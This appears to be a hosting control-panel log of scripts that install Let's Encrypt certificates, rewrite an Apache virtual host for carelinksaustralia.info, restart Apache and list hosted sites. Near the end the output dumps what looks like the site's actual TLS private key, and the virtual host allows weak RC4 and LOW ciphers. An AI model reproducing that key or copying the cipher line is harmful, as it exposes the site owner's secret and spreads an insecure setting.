LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-27 06:00:55: 

chmod 755 /tmp/pkp814629; /tmp/pkp814629; rm /tmp/pkp814629

2026-06-27 06:00:55: 


dir=/etc/ssl/certs


2026-06-27 06:00:55: 

PUT: /tmp/pkp577162

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-27 06:00:55: 

chmod 755 /tmp/pkp577162; /tmp/pkp577162; rm /tmp/pkp577162

2026-06-27 06:00:55: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf 51

<VirtualHost *:80>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-27 06:00:55: 

PUT: /tmp/pkp269578

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinksaustralia_www_info.conf
TARGET=/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf= 1'
fi


2026-06-27 06:00:55: 

chmod 755 /tmp/pkp269578; /tmp/pkp269578; rm /tmp/pkp269578

2026-06-27 06:00:55: 




2026-06-27 06:00:55: 

PUT: /tmp/pkp764044

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-27 06:00:55: 

chmod 755 /tmp/pkp764044; /tmp/pkp764044; rm /tmp/pkp764044

2026-06-27 06:00:55: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-27 06:00:55: Establishing a connection
2026-06-27 06:00:55: 

PUT: /tmp/pkp933206

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-27 06:00:55: 

chmod 755 /tmp/pkp933206; /tmp/pkp933206; rm /tmp/pkp933206

2026-06-27 06:00:55: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
         port 80 namevhost login.vela.work (/etc/apache2/sites-enabled/vela_login_work.conf:2)
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:23)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
         port 443 namevhost login.vela.work (/etc/apache2/sites-enabled/vela_login_work.conf:22)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-27 06:00:55: 

PUT: /tmp/pkp236821

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-27 06:00:56: 

chmod 755 /tmp/pkp236821; /tmp/pkp236821; rm /tmp/pkp236821

2026-06-27 06:00:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf	1362

<VirtualHost *:80>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-27 06:00:56: 

PUT: /tmp/pkp990765

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-27 06:00:56: 

chmod 755 /tmp/pkp990765; /tmp/pkp990765; rm /tmp/pkp990765

2026-06-27 06:00:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt	7473
45:5a:56:7f:f7:42:eb:2c:f7:7e:10:4c:be:84:e2:8c

-----BEGIN CERTIFICATE-----
MIIFJDCCBAygAwIBAgISBXu+xiJT1PrmXxo3kWpvf9uNMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjI3MDUwMjI0WhcNMjYwOTI1MDUwMjIzWjAiMSAwHgYDVQQD
ExdjYXJlbGlua3NhdXN0cmFsaWEuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAJ9sbhNdZh0XBMcVIQYreMNXekL9H99zreRQePCKdHHk2nK341fE
f53SspIiZa7Cgvs9CAEnJ8XU1yeyvXHFiy7Z1/4+bzBRF5ESA07QoKagL9YiRLIr
P3y452JmvaEZ2CkV291f0XSbuxXkYQsdZAljipTrHnBz2cmX7wQLsjJhCWLIxk2C
3Jh31PdIQjaXckB4uGgiUdOYrnM/dPmNKIiaoPEljnCWJ1zmwCPahC94IzmJjW4w
WFZ4ok8/aVtp2T8AMlk6kjR15AaXbLTn0Yw8eTIAQzMlwcOtvKEn5DcyEXVC+xTl
41E60u9NZuhBDloaDtCLNM6+utSpsHFf6I8CAwEAAaOCAkEwggI9MA4GA1UdDwEB
/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBTlX87UTkzQm6YN0vMNOS0s0khH+DAfBgNVHSMEGDAWgBQfLzW+RhSCzUCx
rnksVXj699Ro+zAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95
cjEuaS5sZW5jci5vcmcvMD8GA1UdEQQ4MDaCF2NhcmVsaW5rc2F1c3RyYWxpYS5p
bmZvght3d3cuY2FyZWxpbmtzYXVzdHJhbGlhLmluZm8wEwYDVR0gBAwwCjAIBgZn
gQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMS5jLmxlbmNyLm9yZy8x
NC5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5APcAdgDCMX5XRRmjRe5/ON6ykEHr
x8IhWiK/f9W1rXaa2Q5SzQAAAZ8Hqq+MAAAEAwBHMEUCIQCPqMMJkQT8guarl26k
F36Z08/UES2oRBkQbmS6DJTM9AIgUYW1CLJKTERKOfMgG4sjNf4JfJH+NZPedbI9
BAQbdwEAfQBGr4Y9Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ8HqrBj
AAgAAAUACuQ/jgQDAEYwRAIgS6/5POeE2OA93BQoou+jdm6SQAqmq+ogKyY+b8eZ
o4oCIBx4oLyIHN9YLEJX2i2q0fhhltn9IyKUDvA0AN5xGGv3MA0GCSqGSIb3DQEB
CwUAA4IBAQA9OtkimAh1ddam3mvG+ihi5ejJCYLMH6R9HzAbcKHMMM44Pv816EjC
zd4m/BYAQByLEYCGMRZa4PsZ+QawXPNLhJR7EuhJDSz3mgRdt+BPY/cRWm2DsmwJ
M9zvRoOxZAh8a8WqUEv1ZPAuHLY3ZY8vrDosyflSbmJ/2QneA2IyW2w3vfv/xGVJ
KTe8Eni2golqGtIBjnsXXtIIQrhv8hDyMnoeYTWq3SjqHpKEtSBEgJaY7728xhKe
C0zFm6Tf2s8gWG/P0CmV4fWH0+bT/lDeIoW5NQLgcK5I5my9r/hOtkD5I4n6zYMF
VqSfZw9flftwqeTJCaSFua0HKamZl+/u
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCfbG4TXWYdFwTH
FSEGK3jDV3pC/R/fc63kUHjwinRx5Npyt+NXxH+d0rKSImWuwoL7PQgBJyfF1Ncn
sr1xxYsu2df+Pm8wUReREgNO0KCmoC/WIkSyKz98uOdiZr2hGdgpFdvdX9F0m7sV
5GELHWQJY4qU6x5wc9nJl+8EC7IyYQliyMZNgtyYd9T3SEI2l3JAeLhoIlHTmK5z
P3T5jSiImqDxJY5wlidc5sAj2oQveCM5iY1uMFhWeKJPP2lbadk/ADJZOpI0deQG
l2y059GMPHkyAEMzJcHDrbyhJ+Q3MhF1QvsU5eNROtLvTWboQQ5aGg7QizTOvrrU
qbBxX+iPAgMBAAECggEAHOys2gmXlc6P2Nj+CWMIwZRVA+NuDXotAiARmT7dmq51
bdvsPQfTSZypNndUMI1s+01a7u6eOjgAI108HvDC7Gis1h2YydDksDbu77VNeH3W
wAiuow7SsXvQy1stq5WHUQj8v6D7XSdGHdY2PzCBbmynf5ZbCvcR/A/7VyYSGi6U
f+p8FAoVahuP67liez/UYEYpQ7fwlobvrmLL5Jmquz5SmEm/GiyGbxx9jTo8gGhu
SSr5tsYEOVRhnXIjdG8ia/2Hl9vR3UK22++DB/cEL/RBWrNXZPBMPZXKeBuychuc
z08XCjPz7L1Fk40wKQUltXpz9X9Z8dukKxtdIHjM/QKBgQDUyngQRUpO+67V6Pvn
AI6IujGybldoALGVgys2XdEP1nTIy8ShVCrDu+jIMUQLs41zwzH1V3VBTW2T1qkP
M0hQKkUkDLQl7mRmIIKPknuulm3c27PUyJLoCBVmm0zV2Qf+3naBLnnLfXd5QHz6
